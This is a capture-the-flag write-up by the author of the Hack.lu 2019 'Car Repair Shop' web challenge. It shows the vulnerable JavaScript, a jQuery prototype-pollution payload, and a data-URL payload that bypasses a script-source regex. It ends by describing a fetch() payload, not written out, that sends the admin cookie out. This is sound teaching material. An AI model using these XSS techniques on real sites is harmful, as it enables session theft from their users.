Hacklu 19 - Car Repair Shop [Web]
24 Oct. 2019
2 minute read

Description

“Your Car broke down?! Come to our shop, we repair all cars! Even very old ones.”

Enter the Shop

index

Solution

Car Repair Shop is a classic XSS challenge I created for the Hack.lu 2019 CTF. Looking at the static html code you find jQuery and two custom scripts. One defines a car class:

class Car {
    constructor(type, model, color, pic, key="") {
        this.type = type
        this.model = model
        this.color = color
        this.key = key
        this.pic = pic

        let started = false
        this.start = () => {
            started = true
        }
        this.isStarted = () => {
            return started
        }
    }
    powerOn() {
        if (this.isStarted()) {
            infobox(`Well Done!`)
            nextCar()

        } else {
            $('.chargeup')[0].play()
        }
    }
    info() {
        infobox(`This car is a ${this.type} ${this.model} in ${this.color}. It looks very nice! But it seems to be broken ...`)
    }
    repair() {
        if(urlParams.has('repair')) {
            $.extend(true, this, JSON.parse(urlParams.get('repair')))
        }
    }
    light() {
        infobox(`You turn on the lights ... Nothing happens.`)
    }
    battery() {
        infobox(`Hmmm, the battery is almost empty ... Maybe i can repair this somehow.`)
    }
    ignition() {
        if (this.key == "") {
            infobox(`Looks like the key got lost. No wonder the car is not starting ...`)
        }
        if (this.key == "🔑") {
            infobox(`The car started!`)
            this.start()
        }
    }
}

In the challenge you are supposed to fix the cars and in the end get javascript execution. After analysing the code you find that you can call jquery extend with your input. The jQuery version used in this challenge is still vulnerable to Prototype Pollution. With it you can set the key and bypass the md5 check for the second car: toString will return lol, because the object inherits from the array class now and toString returns the value of the first element.

{"key":"🔑","__proto__":{"__proto__":["lol"]}

Now you are able to call repairWithHelper():

const repairWithHelper = (src) => {
    /* who needs csp anyways !? */
    urlRegx = /^\w{4,5}:\/\/car-repair-shop\.fluxfingersforfuture\.fluxfingers\.net\/[\w\d]+\/.+\.js$/;
    if (urlRegx.test(src)) {
        let s = document.createElement('script')
        s.src = src
        $('head').append(s)
    }
}

At first glance the regex looks save but it is not. You can craft a data-url that will bypass the regex and execute js like so:

data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/a/,alert(1337)//.js

Final exploit:

alert(1337)

Finally you have to write a fetch() payload that sends the admin cookie to your server. Done!

Hopefully you enjoyed working on this challenge 🙂. If you found a different solution pm me on twitter.